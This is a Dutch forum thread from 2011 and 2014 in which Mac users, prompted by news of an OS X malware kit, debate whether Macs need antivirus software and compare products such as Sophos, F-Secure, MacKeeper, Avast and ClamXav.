De komst van een malware bouwpakket voor OS X komt overeen met een in 2008 gedane voorspelling door een onderzoeker. De voorspelling stond in een onderzoekspaper (pdf) in IEEE Security & Privacy, waarin tevens voorspeld werd dat de Mac pas een groot doelwit voor cybercriminelen zou worden wanneer het bedrijf een marktaandeel van 16 procent zou bereiken.

Eng hoor:..
http://www.security.nl/ar...eist_geen_wachtwoord.html

En nog meer eng nieuws:
http://www.nu.nl/tech/252...turingssysteem-apple.html

Mac OS, het platform van Apple, krijgt door het groeiende marktaandeel te maken met malware-bedreigingen.

[Verwijderd]

Ja heel eng die malware, ik weet het niet maar malware kom je dagelijks op straat en winkels tegen: op het moment dat je gefopt (lees: genaaid) word.

[Verwijderd]

Heeft iemand ervaring met VirusBarrier Plus?
Ik draai nu Sophos, maar ik ben eigenlijk niet zo van de gratis virusscanners.
Is VirusBarrier Plus echt beter?
Reviews op internet zijn bijna altijd positief..

[Ryatzu]

Ik gebruik NOD32 voor mac.

[MTBS]

Ik werk nu al een drietal dagen voor het eerst in mijn leven in OSX (nieuwe MBA) en na al die jaren windows is het toch wel raar om geen scanner te zien draaien die me af en toe een waarschuwing geeft...

De discussies pro en contra heb ik een beetje gevolgd.

Ik zou via het werk eventueel gratis een FSECURE kunnen installeren, maar vrees een beetje dat ik dan qua snelheid, geheugen en vooral batterijduur moet inboeten... Iemand ervaring?

[dcl!]

Nee geen ervaring.
Sinds een aantal maanden ook van windows naar mac (book pro) gegaan en het bevalt heel goed, vooral het geen scanner zien draaien

[Verwijderd]

dcl! schreef op maandag 25 juli 2011 @ 10:55:
Nee geen ervaring.
Sinds een aantal maanden ook van windows naar mac (book pro) gegaan en het bevalt heel goed, vooral het geen scanner zien draaien

Grootste misvatting die er is denk ik.
Je moet altijd sowieso een virusscanner hebben op de Mac. Ook die hebben virussen!

[ZpAz]

Jah, heb nu 3,5 jaar geen virusscanner draaien op een mac. En wat heb ik er al een last van gehad. Virusscanners voor OSX zijn overaten. Ook zitten er weer allemaal nieuwe beveiligingssystemen in OSX Lion. Dus nog minder om je zorgen over te maken.

[Exirion]

Verwijderd schreef op maandag 25 juli 2011 @ 11:00:
Je moet altijd sowieso een virusscanner hebben op de Mac. Ook die hebben virussen!

Er bestaat zoiets als een acceptabel risico. Op straat kan ik TBC en Ebola oplopen als het erg tegenzit, maar toch loop ik niet in een ruimtepak rond. Toegegeven, met de toenemende populariteit van OSX zal het risico groeien, maar zeker in de afgelopen paar jaar was het risico nog nihil

[dcl!]

Ik heb zelfs op windows 98 een tijdje zonder virusscanner gedraaid. Later eens helemaal doorgelicht met behulp van diverse progs: alleen maar wat tracking cookies, dat was het.
Virusscanner leuk en aardig, maar het belangrijkste blijft de gebruiker: niet overal op klikken, "zomaar" naartoe surfen en installeren, dat zijn gewoonweg de grootste boosdoeners. Op elk OS.

[Ridder]

Een vrij hoog " Wij van WC Eend"- gehalte......

Maar goed het kan geen kwaad om toch even te kijken of ik wat opgelopen heb de afgelopen jaren.
Zojuist Sophos erop gezet en hij staat nu te scannen.....
Ik moest overigens op The Black Shield klikken wanneer ik een scan zou willen.....nergens te vinden....alleen een blauwe......

Ben benieuwd.....

[dcl!]

Zolang de meeste alarmberichten nog afkomstig zijn van de verkopers van scanprogramma's neem ik alles met een korreltje zout...

[Verwijderd]

MTBS schreef op maandag 25 juli 2011 @ 10:49:
Ik werk nu al een drietal dagen voor het eerst in mijn leven in OSX (nieuwe MBA) en na al die jaren windows is het toch wel raar om geen scanner te zien draaien die me af en toe een waarschuwing geeft...

De discussies pro en contra heb ik een beetje gevolgd.

Ik zou via het werk eventueel gratis een FSECURE kunnen installeren, maar vrees een beetje dat ik dan qua snelheid, geheugen en vooral batterijduur moet inboeten... Iemand ervaring?

Fsecure is brol en maakt je systeem echt traag... we gebruiken het op het werk maar dat is het eerste wat iedereen bij ons er afsmijt op de IT dienst

Als je er echt één wil zou ik eens kijken naar mackeeper. Staat overal positief beschreven en het is veel meer als een antivirus. Als je laptop word gestolen zit er ook die functie in om fotos te nemen en gps locatie details door te sturen en nog veel meer...

[VeeGee]

MacKeeper is echt waardeloos. Overal krijg je spam reclame op Apple related sites, irritante popups (ook al heb je het nog niet geïnstalleerd). Kennelijk zijn ze er zo op gebrand dat je het installeert, dat ik het alleen om die reden al niet zo installeren.
Daarnaast heb ik het een tijdje geleden (2wk) op m'n iMac gehad, maar nadat Onyx aangaf dat mijn bootdisk beschadigd was en repair nodig was heb ik het er direct weer afgegooid en OS X moeten herstellen met de installatie DVD's (99% dat het door MacKeeper kwam met z'n mooie 'opruim' functies)

Nee, MacKeeper komt er bij mij niet meer in!

[MTBS]

Verwijderd schreef op maandag 25 juli 2011 @ 16:23:
[...]


Fsecure is brol en maakt je systeem echt traag... we gebruiken het op het werk maar dat is het eerste wat iedereen bij ons er afsmijt op de IT dienst

Ik vind het verre van brol en vond dat het nog heel goed meeviel qua "vertraging" in vergelijk met Norton of McAfee... Bij ons op de IT dienst is iedereen zeer tevreden van FSecure en is iedereen blij dat ze een gratis licentie krijgen voor thuis...

Tot twee à drie jaar geleden zou ik je gelijk gegeven hebben, maar ze hebben er bij FSecure enorm aan gewerkt en het is dan ook enorm verbeterd vind ik.

[ Voor 12% gewijzigd door MTBS op 25-07-2011 17:17 ]

[Verwijderd]

Is het dan zo dat tot dat er echt sprake is van aanvallen op Mac OS, je gewoon geen virusscanner nodig bent? Als je tenminste niet op hele rare sites zit...

[notsonewbie]

Ook ik kan er geen vinden voor mijn mac mini.

Avast bijv. direct na installatie kijk ik op gmail (webbased)
hop , pop-up, omgeldig certificaat, van avast, ipv gmail, naam en website verschillen of zo...

Is er niet een poll met best geteste mac anti virus? Idem voor anti warez/trojans?

[notsonewbie]

Verwijderd schreef op maandag 25 juli 2011 @ 16:23:
[...]
Fsecure is brol en maakt je systeem echt traag... we gebruiken het op het werk maar dat is het eerste wat iedereen bij ons er afsmijt op de IT dienst

En wat zetten de meesten er dan voor in de plaats terug!?

[Verwijderd]

@notsonewbie, kijk eens naar de datums in dit topic! Je gaat in op zeer gedateerde vragen!

[JJ Le Funk]

Ik ben nu ClamXav aan het proberen. Gratis en een goed onderhouden virusdatabase met dank aan de linux en open source community.

Het lijkt me een passieve scanner te zijn, dus minder belastend voor de systeembronnen. Firefox heeft er een plugin voor zodat een download eerst gescand wordt.

[Freezerator]

notsonewbie schreef op zaterdag 08 maart 2014 @ 19:45:
Ook ik kan er geen vinden voor mijn mac mini.

Avast bijv. direct na installatie kijk ik op gmail (webbased)
hop , pop-up, omgeldig certificaat, van avast, ipv gmail, naam en website verschillen of zo...

Is er niet een poll met best geteste mac anti virus? Idem voor anti warez/trojans?

Apart. Hier ook Avast op de mac maar gmail werkt gewoon zonder waarschuwingen? Zelf ben ik erg tevreden over Avast en heb er sinds de instal (vorig jaar) nog geen enkel probleem mee gehad. Mail wordt netjes gescanned en krijg netjes meldingen. Ik merk niet dat de laptop er langzamer door zou zijn.